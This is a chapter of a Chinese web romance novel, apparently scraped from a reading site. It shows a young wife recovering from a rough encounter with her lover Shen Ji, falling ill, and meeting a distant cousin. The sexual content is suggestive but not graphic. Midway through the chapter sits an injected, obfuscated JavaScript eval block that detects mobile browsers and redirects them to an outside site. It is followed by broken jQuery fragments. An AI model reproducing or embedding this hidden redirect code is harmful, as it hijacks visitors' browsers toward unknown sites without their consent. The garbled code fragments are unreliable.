宁嫣睡了整整一日,几乎是昏死过去。
她是在全身的酸疼中醒过来的。
手臂一点抬不起来,全因为沈继性急,压着她在桌子边就……她手肘撞上去,此刻还留着淤青的痕迹。
嗓子干涩无比,光是吞咽的动作,都极为难受,像是一股子火在喉咙里烧得正烈。
宁嫣是足足缓了快半个时辰才勉强能起身下床。
屋里一片狼藉,凌乱的衣物,一地的碎片,乱七八糟倒下的凳子……还有被撞倒的落地灯笼……
烧了半截的蜡烛倒在纱帘旁,地毯上一小摊烛泪,宁嫣有些后怕,没烧起来也真是万幸。
她没有衣服穿,只能用被子裹住自己的身子,脚一踩到地上,一股钻心的疼痛随之而来。
她深吸了一口气,腿一软,差点就倒了下去。
全身都在发颤,根本使不上一点力气。
身上粘腻一片,宁嫣觉得,全都是沈继的气息,脑子里顿时浮现出前一晚沈继在她耳边说的那些淫词浪语。
过去做这事的时候,沈继还是保持着平日在外的风度,不紧不慢,多数时间还要逼着她自己掌握主动,他只是盯着她,看着她沉醉被欲望掌控的欢愉中,对比她的失控,他显得过于冷静。
宁嫣曾经以为他本就是重欲之人,对她是见色起意,所以才强行占有了他,可是很快,她就否决了这个答案。
他在床上时,看不出多少急色,一切都如细水长流,一切尽在掌握的感觉,不会被情欲控制,随时都能保持理智。
或许是平日过于压抑,要通过这样的方式来疏解压力。
但是,这一次,宁嫣才发现,她对他认识得还不够深。
连过去那些日子,他也一直在隐藏自己的本性。
他说过去对她是手下留情,宁嫣信了。
因为他一旦来真的,她就成了如今这番模样。
发泄完了,穿上衣服就离开,真是像极了他所说的纯粹的金钱关系。
不过她更可怜。
一般这些男人还会留下些值钱的物件,但留给她的只有满地狼藉和一副满是痕迹的身子。
过去沈继还会装一装绅士君子,替她清理,连衣服都是亲自帮她换的,果然装得了一时装不了一世。
平日都是使唤人的少爷,纡尊降贵跟她这种身份的女子睡一睡都是恩赐,又怎么可能有多少耐性。
换衣服的时候,宁嫣才真正地看清楚自己身上究竟是有多少痕迹。
手臂、小腿、胸前……连腿根都留下了密密麻麻的青紫。
变态!
消失了一晚上,宁嫣本以为回去以后会被责问,没想到府里静悄悄的,却让她心里一阵发寒,安静得过于诡异。
“少夫人,您回来了!”
“您昨夜去哪里了,我可急死了。”
宁嫣有些心虚地拢了拢领子,生怕那里藏着的痕迹被看了去。
“在朋友府上住了一晚。”
没想到丫鬟没有追问,反而鬼鬼祟祟地拉着宁嫣往院子里走。
“发生什么事了?”
“怎么家里这么安静?”
丫鬟跟做贼似地小声说道:“我也不知道,但是好像是出大事了,老爷夫人一早就出去了,二少爷和三少爷也都跟着一起去了。”
宁嫣没有细究,这样反而正合她意。
回房以后,宁嫣就以疲乏困顿为由,把丫鬟给打发走了。
夜里下了雨,风刮得很大,雨点拍打在窗户上,吵得人心烦意乱,她睡得不安稳,总是迷迷糊糊地想起前一晚的事。
果然,第二日她没能起来。
头昏脑胀,整个人浑浑噩噩,一阵阵地忽冷忽热,难受得紧。
她又病了。
自从来了沈家,她跟大夫见面的次数比过去几年在宁家的时候都多。
迷迷糊糊间,似乎听见大夫的声音。
“受了凉,加上忧思过重,没什么大碍,吃几副药便好,只是你们一定要多开解她,让她保持心情愉悦,多想些开心的事,不然长久下去,身体可能都会垮了。”
“她平日看着没什么心事,食欲也正常,怎么会……”
“性情所致,夫人这种便是喜欢把事情藏在心里一个人琢磨的,面上是很难看出来的。”
“所以一定要重视她的情绪。”
“知道了。”
宁嫣烧得脑子跟浆糊似的,一点力气都没了,却还是想到了沈继。
全都怪他。
宁嫣又养了一段日子,等到好转的时候,日子已经过去半个月了。
这半个月她没出过门,连自己的院子都没踏出过一步。
沈家足够大,她就像是将自己完全隔绝在了沈家的世界之外。
沈继当然也一次都没有来过。
宁嫣觉得庆幸,不知道他是良心发现,觉得她被折磨得太惨,给她留了养病的时间,还是她已经没有新鲜感了,对她失去了兴趣。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537901|163867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当这位陌生的表妹来看望她的时候,她的第一反应就是或许沈继是有新的目标了。
年纪看上去同她差不多,五官精致,穿着素色淡雅的纱裙,比起她来,截然不同的气质。
沈继常说她长着一张不安分的脸,看着就像是随时勾引人的,这位表妹的长相则更显清丽脱俗,温婉大气。
“大嫂,我来了好些日子了,本来早就向来看望你的,但听他们说你还在病中,我怕打扰你,这才一直没来,真是失礼了。”
宁嫣后来才知道,这位表妹是十足的远房亲戚,跟沈夫人的关系都得从太祖辈算起。
如何突然出现,宁嫣不得而知,但光是说这几句,都足够宁嫣分辨出她与这位表妹完全是两类不同的人。
“嫂子还不知道我的名字呢,我名唤郑菀清,乳名昭昭,亲近的人都这么叫我,大嫂也这么叫我吧。”
宁嫣不习惯跟不熟悉的人太亲近,所以郑菀清坐到她身边握着她的手热情地示好时,她下意识地闪躲了一下。
“大嫂这是怎么了?”
“是不是冷了?”
宁嫣摇头,实在不善于拒绝热情的人:“不是,不用在意。”
“我带了好些家乡特产来,味道是好的,就是跟大嫂平日吃的比,肯定是比不上的,你可别嫌弃。”
宁嫣僵着脖子,唯恐郑菀清再靠近,道谢:“那我就不客气了。”
“表妹有心了,这么远来还想着我们,不过我不知你今日会来,没有提前准备,你别介意。”
“当然不会。”
宁嫣见她眼神落在自己的耳环上,只是一瞬,但她还是捕捉到了。
她想了想,摘下了那对耳环:“表妹若是不嫌弃的话,就当我送你的见面礼。”
“我今日第一次戴,果然还是不适合我。”
“正好这红宝石的颜色跟你今日的衣裙特别相配。”
郑菀清拒绝:“这么贵重的礼物,我怎么能收,大嫂太客气了。”
贵重是贵重,沈继送的,听说是很少见的成色极好的宝石,在她匣子里摆了好久,一直没戴过,今日第一次戴,还是不习惯。
郑菀清还是摆手推拒:“不行的。”
宁嫣坚持:“收下吧。”
性格好,体贴又周到,礼数周全,关键是让人如沐春风一般,与她相处起来,一定是很舒服的。
宁嫣想到自己,笑了一下。
哪像她这种无趣的性子。